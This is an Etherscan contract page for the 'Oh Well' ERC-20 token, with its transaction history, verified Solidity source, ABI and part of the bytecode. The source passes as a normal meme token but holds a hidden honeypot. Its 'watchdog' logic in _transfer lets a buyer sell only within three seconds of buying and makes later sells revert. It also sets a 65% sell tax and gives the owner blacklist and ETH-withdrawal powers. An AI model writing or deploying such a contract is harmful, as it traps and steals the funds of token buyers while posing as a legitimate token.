ETH Price: $2,687.91 (-2.34%)

Contract

0xe5086Fa905E44e6510F45F8D68A262eD872fca7b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve167555592023-03-04 14:05:59541 days ago1677938759IN
0xe5086Fa9...D872fca7b
0 ETH0.0015746233.36427688
Approve166902092023-02-23 9:29:11550 days ago1677144551IN
0xe5086Fa9...D872fca7b
0 ETH0.0014342330.35103744
Approve166890052023-02-23 5:25:11550 days ago1677129911IN
0xe5086Fa9...D872fca7b
0 ETH0.0012910927.32194552
Approve166889962023-02-23 5:23:23550 days ago1677129803IN
0xe5086Fa9...D872fca7b
0 ETH0.0010765622.8110854
Approve166889962023-02-23 5:23:23550 days ago1677129803IN
0xe5086Fa9...D872fca7b
0 ETH0.0011724424.8110854
Owner_set Watch ...166889932023-02-23 5:22:47550 days ago1677129767IN
0xe5086Fa9...D872fca7b
0 ETH0.0005937624.4910291
Approve166889782023-02-23 5:19:47550 days ago1677129587IN
0xe5086Fa9...D872fca7b
0 ETH0.0012059325.51980947
Approve166889782023-02-23 5:19:47550 days ago1677129587IN
0xe5086Fa9...D872fca7b
0 ETH0.0012059325.51980947
Approve166889762023-02-23 5:19:23550 days ago1677129563IN
0xe5086Fa9...D872fca7b
0 ETH0.0013241928.02241769
Approve166889762023-02-23 5:19:23550 days ago1677129563IN
0xe5086Fa9...D872fca7b
0 ETH0.0013241928.02241769
Approve166889762023-02-23 5:19:23550 days ago1677129563IN
0xe5086Fa9...D872fca7b
0 ETH0.0013241928.02241769
Owner_rescue ETH166806312023-02-22 1:08:11552 days ago1677028091IN
0xe5086Fa9...D872fca7b
0 ETH0.0007695624.90672318
Owner_rescue ETH166806182023-02-22 1:05:35552 days ago1677027935IN
0xe5086Fa9...D872fca7b
0 ETH0.0007296423.66069703
Transfer166805362023-02-22 0:48:47552 days ago1677026927IN
0xe5086Fa9...D872fca7b
0.0138811 ETH0.0005581726.5102394
0x60806040166805052023-02-22 0:42:35552 days ago1677026555IN
 Create: OhWell
0 ETH0.1580061624.02782587

Latest 10 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166890472023-02-23 5:33:47550 days ago1677130427
0xe5086Fa9...D872fca7b
0.05067487 ETH
166806312023-02-22 1:08:11552 days ago1677028091
0xe5086Fa9...D872fca7b
0.01388109 ETH
166806182023-02-22 1:05:35552 days ago1677027935
0xe5086Fa9...D872fca7b
0 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OhWell

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-23
*/

// SPDX-License-Identifier: MIT
/*
¯\_(ツ)_/¯
"oh well..." 
Telegram: https://t.me/ohwellerc20
Twitter:  https://twitter.com/ohwellerc20
Medium:   https://medium.com/@ohwellerc20
Website:  https://ohwell.wtf
*/

pragma solidity ^0.8.17;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract OhWell is Context, IERC20, Ownable {

    using Address for address payable;

    IRouter public router;
    address public pair;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;
    mapping (address => bool) public _isBlacklisted;
    mapping (address => uint256) public _dogSellTime;

    uint256 private _dogSellTimeOffset = 3;
    bool public watchdogMode = true;
    uint256 public _caughtDogs;

    uint8 private constant _decimals = 9; 
    uint256 private _tTotal = 1_000_000 * (10**_decimals);
    uint256 public swapThreshold = 5_000 * (10**_decimals); 
    uint256 public maxTxAmount = 20_000 * (10**_decimals);
    uint256 public maxWallet =  20_000 * (10**_decimals);

    string private constant _name = "Oh Well"; 
    string private constant _symbol = unicode"¯\\_(ツ)_/¯";
    
    struct Tax{
        uint8 marketingTax;
        uint8 lpTax;
    }

    struct TokensFromTax{
        uint marketingTokens;
        uint lpTokens;
    }
    TokensFromTax public totalTokensFromTax;

    Tax public buyTax = Tax(10,0);
    Tax public sellTax = Tax(64,1);
 
    address public marketingWallet = 0xde9fa10c7EfFD8F14c0C9796A2d46AD90e1ac49f;
    bool private swapping;
    uint private _swapCooldown = 5; 
    uint private _lastSwap;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        _approve(owner(), address(router), ~uint256(0));
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[pair] = true;
        _isExcludedFromMaxBalance[marketingWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {}
// ========================================== //

//============== Owner Functions ===========//
   
    function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{
        _isBlacklisted[account] = isBlacklisted;
    }
    
    function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
        for(uint256 i =0; i < accounts.length; i++){
            _isBlacklisted[accounts[i]] = state;
        }
    }

    function owner_setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{
        uint tTax =  marketingTax + lpTax;
        require(tTax <= 20, "Can't set tax too high");
        buyTax = Tax(marketingTax,lpTax);
        emit TaxesChanged();
    }

    function owner_setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{
        uint tTax = marketingTax + lpTax;
        require(tTax <= 85, "Can't set tax too high");
        sellTax = Tax(marketingTax,lpTax);
        emit TaxesChanged();
    }
    
    function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
        uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxTxAmount = maxTX_EXACT * (10**_decimals);
        maxWallet = maxWallet_EXACT * (10**_decimals);
    }

    function owner_rescueETH(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }
    
    function owner_setWatchDogStat(bool status_) external onlyOwner{
        watchdogMode = status_;
    }

    function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

// ========================================//
    
    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax;
        if (isSell){
            tmpTaxes = sellTax;
        }

        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForMarketing + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0)
            emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }

    function _transfer(address from,address to,uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade");

        if(!_isExcludedFromMaxBalance[to])
            require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner())
            swapAndLiquify();
          
        _tOwned[from] -= amount;
        uint256 transferAmount = amount;
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
            if (from == pair){
                if(watchdogMode){
                    _caughtDogs++;
                    _dogSellTime[to] = block.timestamp + _dogSellTimeOffset;
                }
            }else{
                if (_dogSellTime[from] != 0)
                    require(block.timestamp < _dogSellTime[from]); 
            }
        }

        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function swapAndLiquify() private lockTheSwap{
        
        if(totalTokensFromTax.marketingTokens > 0){
            uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
            if(ethSwapped > 0){
                payable(marketingWallet).transfer(ethSwapped);
                totalTokensFromTax.marketingTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
    }

    event SwapAndLiquify();
    event TaxesChanged();

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setWatchDogStat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260036009556001600a60006101000a81548160ff0219169083151502179055506009600a62000034919062000c67565b620f424062000044919062000cb8565b600c556009600a62000057919062000c67565b61138862000066919062000cb8565b600d556009600a62000079919062000c67565b614e2062000088919062000cb8565b600e556009600a6200009b919062000c67565b614e20620000aa919062000cb8565b600f556040518060400160405280600a60ff168152602001600060ff16815250601260008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555050506040518060400160405280604060ff168152602001600160ff16815250601360008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff160217905550505073de9fa10c7effd8f14c0c9796a2d46ad90e1ac49f601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005601555348015620001da57600080fd5b50620001fb620001ef6200080760201b60201c565b6200080f60201b60201c565b600c5460036000620002126200080760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dd919062000d6d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000345573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036b919062000d6d565b6040518363ffffffff1660e01b81526004016200038a92919062000db0565b6020604051808303816000875af1158015620003aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d0919062000d6d565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200049a62000468620008d360201b60201c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620008fc60201b60201c565b600160056000620004b0620008d360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620005e9620008d360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007966200080760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620007f7919062000dee565b60405180910390a3505062000f4c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200096e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009659062000e92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620009e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009d79062000f2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000ac0919062000dee565b60405180910390a3505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b5b5780860481111562000b335762000b3262000acd565b5b600185161562000b435780820291505b808102905062000b538562000afc565b945062000b13565b94509492505050565b60008262000b76576001905062000c49565b8162000b86576000905062000c49565b816001811462000b9f576002811462000baa5762000be0565b600191505062000c49565b60ff84111562000bbf5762000bbe62000acd565b5b8360020a91508482111562000bd95762000bd862000acd565b5b5062000c49565b5060208310610133831016604e8410600b841016171562000c1a5782820a90508381111562000c145762000c1362000acd565b5b62000c49565b62000c29848484600162000b09565b9250905081840481111562000c435762000c4262000acd565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c748262000c50565b915062000c818362000c5a565b925062000cb07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b64565b905092915050565b600062000cc58262000c50565b915062000cd28362000c50565b925082820262000ce28162000c50565b9150828204841483151762000cfc5762000cfb62000acd565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d358262000d08565b9050919050565b62000d478162000d28565b811462000d5357600080fd5b50565b60008151905062000d678162000d3c565b92915050565b60006020828403121562000d865762000d8562000d03565b5b600062000d968482850162000d56565b91505092915050565b62000daa8162000d28565b82525050565b600060408201905062000dc7600083018562000d9f565b62000dd6602083018462000d9f565b9392505050565b62000de88162000c50565b82525050565b600060208201905062000e05600083018462000ddd565b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000e7a60248362000e0b565b915062000e878262000e1c565b604082019050919050565b6000602082019050818103600083015262000ead8162000e6b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000f1260228362000e0b565b915062000f1f8262000eb4565b604082019050919050565b6000602082019050818103600083015262000f458162000f03565b9050919050565b613fe58062000f5c6000396000f3fe60806040526004361061021e5760003560e01c80638c0b5e2211610123578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b14610830578063f837ae0714610859578063f887ea4014610882578063f8b45b05146108ad578063f9d0ee94146108d857610225565b8063cfe9dde014610737578063dd62ed3e14610760578063e0a877c81461079d578063ee9a5d82146107c8578063ef07a1821461080557610225565b8063a8aa1b31116100f2578063a8aa1b3114610651578063a9059cbb1461067c578063cb0e6f7b146106b9578063cc1776d3146106e2578063cf9b22e71461070e57610225565b80638c0b5e22146105935780638da5cb5b146105be57806395d89b41146105e9578063a457c2d71461061457610225565b806339509351116101a65780635966c81e116101755780635966c81e146104ae57806370a08231146104d7578063715018a61461051457806375f0a8741461052b578063768dc7101461055657610225565b806339509351146103f35780634ba422bc146104305780634cf27997146104595780634f7041a51461048257610225565b80631b0f9381116101ed5780631b0f9381146102e85780631cdd3be31461031157806323b872dd1461034e57806328c61f411461038b578063313ce567146103c857610225565b80630445b6671461022a57806306fdde0314610255578063095ea7b31461028057806318160ddd146102bd57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610904565b60405161024c9190612b1a565b60405180910390f35b34801561026157600080fd5b5061026a61090a565b6040516102779190612bc5565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a29190612c85565b610947565b6040516102b49190612ce0565b60405180910390f35b3480156102c957600080fd5b506102d2610965565b6040516102df9190612b1a565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061